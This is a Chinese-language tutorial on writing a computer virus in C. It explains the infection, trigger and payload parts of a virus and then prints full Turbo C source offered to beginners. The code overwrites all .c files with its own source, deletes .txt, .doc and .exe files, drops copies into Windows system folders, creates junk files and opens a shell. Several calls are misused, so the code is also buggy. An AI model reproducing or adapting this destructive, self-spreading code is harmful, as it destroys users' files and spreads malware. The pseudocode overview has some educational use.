怎樣用C語言編寫病毒
在分析病毒機理的基礎上,用C語言寫了一個小病毒作為實例,用TURBOC2.0實現.
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什么是病毒
惡意軟件可能是第一個對我們產生影響的計算機安全問題.所以病毒在信息安全中是很重要的.
我們要對付病毒,就要了解病毒.
寫一些病毒是一個很好的辦法.
如果要寫一個病毒,先要知道它是什么.可以給病毒一個定義,這一定義是被廣泛認可的。Frederic Cohen博士在《計算機病毒簡短講座》中提到的:
“⋯⋯一種能夠通過修改自身來包括或釋放自我拷貝而傳染給其他程序的程序。“
其實病毒和普通程序並無太大不同,而且通常比較簡單,不像很多程序那樣復雜。只不過病毒里面用到一些正常程序一般不會用到的技術。
要編制一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦后,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本后觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁盤,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
二、 編制病毒的語言
最常見的編制病毒的語言有匯編語言、VB、C 語言等,我們可以來看一看一個有名的病毒論壇上認為學寫病毒要掌握的基礎:
1).Win32編程,進程,線程,內存,等等。
2).32位匯編,以指令用法為主。386匯編就比較夠用了。
3).PE格式,有精力還可以看一下其它可能被感染的文件的文件格式。
4).調試技術。VC,TD32,SoftIce,等等。
要掌握的東西確實很多,還多聽都沒聽過,很嚇人.但實際上,即使我們對計算機的原理和操作系統不很了解,而且不熟悉除C
以外的其他語言,只要我們對C的庫函數有一定了解,就可以寫一些類似病毒的東西.
三 用C編制病毒
以TurboC2.0為例.它的庫函數可以實現很多功能.
如以下兩個函數:
1).findfirst和findnext函數:在dir.h。findfirst用來找各種類型的文件,可以得到文件名文件長度,文件屬性等,findnext和findfirst配合使用,用來找到下一個同類型的文件。
2).remove函數:在stdio.h.只要知道文件名,可以刪除任意類型的文件
C語言開發病毒程序實例
C語言開發的病毒程序源代碼加了很詳細的注釋,嚴謹的來說,算不上真正意義上的病毒,但是可以給初學C的新手參考,程序實現了幾點病毒的功能。
C語言編寫的病毒程序源代碼 - 給C語言初學者:
復制內容到剪貼板
代碼:
C語言開發病毒程序
//連接頭文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷貝文件模塊
int copyfile (char *infile, char *outfile)
{
FILE *in,*out; //定義文件指針
in = fopen(infile,"r"); //打開文件
out = fopen(outfile,"w"); //建立文件
while (!feof(in)) //判斷文件是否已結束
{
fputc (fgetc(in),out); //從in讀一字符到out
}
fclose (in); //關閉in文件
fclose (out);//關閉out文件
return 0; //返回
}
int MakeRubbish (void)
{
int i; //聲明整形變量i
FILE *fp; //文件指針fp
char *path; //路徑指針
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指針數組
char *addtion = ":\\";
for (i = 0; i<5; i++) //循環4次
{
char tempname[] = "XXXXXX" ; //隨機名字
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //創建文本文件
fclose (fp); //關閉fp文件流
}
path = strcat(disk[getdisk()],addtion); //得到根編號
chdir(path); //改變工作目錄
for (i = 0; i<5; i++) //循環次數
{
char tempname[] = "XXXXXX"; //串賦入數組
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //創建新文件
fclose (fp); //關閉文件
}
return 0; //返回
}
int CreatEXE (void)
{
int i; //整形變量
char *path; //字符指針
char *s[2] = { //重要目錄
"C:\\WINDOWS\\system32\\loveworm.exe",
"C:\\WINDOWS\\virusssss.com"
};
for ( i = 0; i < 2; i++) //循環控制次數
{
open(s, 0x0100,0x0080); //打開文件寫入數據
copyfile ( "C_KILLER.C",s); //調用子函數實現拷貝文件數據
}
return 0;
}
int Remove (void) //去處
{
int done; //定義整形變量
int i;
struct ffblk ffblk; //聲明結構體變量ffblk
char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指針數組
for (i = 0; i < 3; i++)//控制循環次數
{
done = findfirst(documenttype,&ffblk,2);//搜索目錄
while (!done) //查找成功返回0
{
remove (ffblk.ff_name); //刪除一個文件
done = findnext(&ffblk);
}
}
return 0;//返回
}
int Breed (void) //養殖模塊
{
int done;//整形變量
struct ffblk ffblk; //聲名結構變量
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
return 0;
}
int main (void) //程序入口地址
{
printf ("液蟲病毒,by:仙劍逍遙.\n");
Breed (); //養殖病毒
Remove (); //去處
CreatEXE ();
printf ("您能告訴我您的名字?\n");
printf ("現在麻煩您輸入您的名字!\n");
MakeRubbish (); //調用子函數
getchar ();
clrscr (); //清除屏幕
system ("cmd");
getch ();
return 0;
}